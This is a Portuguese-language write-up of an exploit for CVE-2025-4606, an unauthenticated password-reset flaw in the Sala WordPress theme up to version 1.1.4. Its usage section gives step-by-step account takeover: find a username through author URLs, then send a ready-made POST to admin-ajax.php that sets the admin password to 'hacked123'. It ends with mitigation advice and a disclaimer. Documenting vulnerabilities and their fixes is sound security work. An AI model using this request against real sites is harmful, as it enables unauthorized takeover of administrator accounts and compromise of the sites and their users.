CVE-2025-4606 - Tema Sala WordPress <= 1.1.4 - Escalação de Privilégio Não Autenticada via Redefinição de Senha / Account Takeover

🔥 Resumo da Vulnerabilidade
O tema WordPress Sala versões <= 1.1.4 está vulnerável a uma falha de escalada de privilégio não autenticada. Essa falha permite que atacantes não autenticados redefinam senhas de usuários arbitrários — incluindo administradores — ao invocar diretamente um endpoint AJAX exposto, sem verificar a identidade do solicitante.

Essa vulnerabilidade decorre da função change_password_ajax registrada em wp_ajax_nopriv_, que define uma nova senha para qualquer login de usuário válido sem verificar se a solicitação é autorizada.

🔍 Tema Afetado

• Nome do Tema: Sala – Startup & SaaS WordPress Theme
• Versão Afetada: <= 1.1.4
• Tipo de Vulnerabilidade: Escalação de Privilégio Não Autenticada
• ID CVE: CVE-2025-4606
• Pontuação CVSS: 9.8 (Crítico)
• Impacto: Account Takeover Completo (Incluindo Admin)

🧪 Recursos do Exploit

• 🔓 Nenhuma autenticação necessária
• 🔄 Sobrescreve a senha de qualquer usuário fornecendo um nome de login válido
• 📬 Segmenta o endpoint AJAX /wp-admin/admin-ajax.php?action=change_password_ajax
• 🧠 Funciona instantaneamente se o atacante souber um nome de usuário válido (ex.: admin)

🧠 Pesquisador

• Crédito: Thai An

🚀 Uso

1. Identifique um nome de usuário válido no site WordPress alvo. Você pode fazer isso verificando:

   • URLs públicas de arquivo de autor (/author/username)

2. Crie a seguinte solicitação POST para redefinir a senha do usuário:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: targetsite.com
   Content-Type: application/x-www-form-urlencoded
   
   action=change_password_ajax&login=admin&new_password=hacked123
   

3. Se for bem-sucedido, agora você pode entrar como o usuário alvo usando a nova senha (hacked123 no exemplo acima).

4. Acesse /wp-login.php e verifique o acesso.

🛠 Recomendações de Correção

• Os desenvolvedores do tema devem remover ou proteger o hook wp_ajax_nopriv_change_password_ajax.
• Sempre verifique is_user_logged_in() e confirme a identidade do usuário antes de permitir ações sensíveis.
• Implemente verificações de nonce para prevenir CSRF e abuso não autenticado.

🔒 Aviso Legal:
Esta informação é fornecida apenas para fins educacionais e de testes de penetração autorizados. A exploração não autorizada de sistemas é ilegal e antiética.

📚 Referência:

• Wordfence Advisory